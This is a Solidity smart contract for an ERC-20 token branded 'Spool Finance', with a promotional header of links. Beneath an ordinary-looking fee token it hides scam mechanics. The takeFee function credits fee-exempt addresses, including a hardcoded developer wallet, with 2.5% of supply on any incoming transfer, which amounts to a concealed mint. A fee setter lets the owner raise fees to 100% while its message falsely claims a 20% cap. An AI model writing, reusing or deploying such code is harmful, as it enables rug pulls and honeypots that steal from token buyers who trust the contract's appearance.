// SPDX-License-Identifier: MIT

/*
Yield for the World. Fuel for DeFi.
Decentralised Finance should be a simple deal between The People and The Protocols.
Lending Platforms, Automated Market Makers, and other DeFi protocols want liquidity to put to work.
Everyone else wants their money to work for them and earn a competitive yield.

Website: https://www.spoolfinance.org
App: https://app.spoolfinance.org
Telegram:  https://t.me/SpoolFinance_ETH
Twitter: https://twitter.com/spoolfinance
Medium: https://medium.com/@spoolfinance/spool-finance-cbfe8825b14b
*/

pragma solidity 0.8.21;

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}
interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SPOOL is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"Spool Finance";
    string private constant _symbol = unicode"SPOOL";
    
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    uint8 private constant _decimals = 9;
    uint256 private _supply = 1000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isExcludedFromFeeTax;
    uint256 public _maxSellAmount = ( _supply * 250 ) / 10000;
    uint256 public _maxWalletToken = ( _supply * 250 ) / 10000;
    uint256 public _maxTxAmount = ( _supply * 250 ) / 10000;
    bool private activatedTrade = false;
    bool private swapEnabled = true;
    bool private swapping;
    IRouter router;
    address public pair;
    uint256 private swapTimes;
    uint256 swapAmount;
    uint256 private swapThreshold = ( _supply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _supply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 100;
    uint256 private sellFee = 1100;
    uint256 private transferFee = 1100;
    uint256 private totalFee = 1100;
    uint256 private denominator = 10000;
    uint256 private burnFee = 0;
    address internal development_receiver = 0xa3017717Bc9B977d312E37A579aEd02F1174A065; 
    address internal marketing_receiver = 0xa3017717Bc9B977d312E37A579aEd02F1174A065;
    address internal liquidity_receiver = 0xa3017717Bc9B977d312E37A579aEd02F1174A065;
    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);

        isExcludedFromFeeTax[marketing_receiver] = true;
        isExcludedFromFeeTax[development_receiver] = true;
        isExcludedFromFeeTax[liquidity_receiver] = true;
        isExcludedFromFeeTax[msg.sender] = true;
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _supply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function startTrading() external onlyOwner {activatedTrade = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function setTransactionLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _supply.mul(_buy).div(10000); uint256 newTransfer = _supply.mul(_sell).div(10000); uint256 newWallet = _supply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if (isExcludedFromFeeTax[recipient]) {return _maxTxAmount;}
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _supply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _supply.mul(_minTokenAmount).div(uint256(100000));
    }
    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && activatedTrade && aboveMin && !isExcludedFromFeeTax[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }
    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function setTransactionRequirements(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isExcludedFromFeeTax[sender] && !isExcludedFromFeeTax[recipient];
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapBackTaxFeeTokens(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isExcludedFromFeeTax[sender] && !isExcludedFromFeeTax[recipient]){require(activatedTrade, "activatedTrade");}
        if(!isExcludedFromFeeTax[sender] && !isExcludedFromFeeTax[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isExcludedFromFeeTax[sender] || isExcludedFromFeeTax[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isExcludedFromFeeTax[sender] || isExcludedFromFeeTax[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isExcludedFromFeeTax[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapBackTaxFeeTokens(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = !isExcludedFromFeeTax[sender] ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }
    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }
}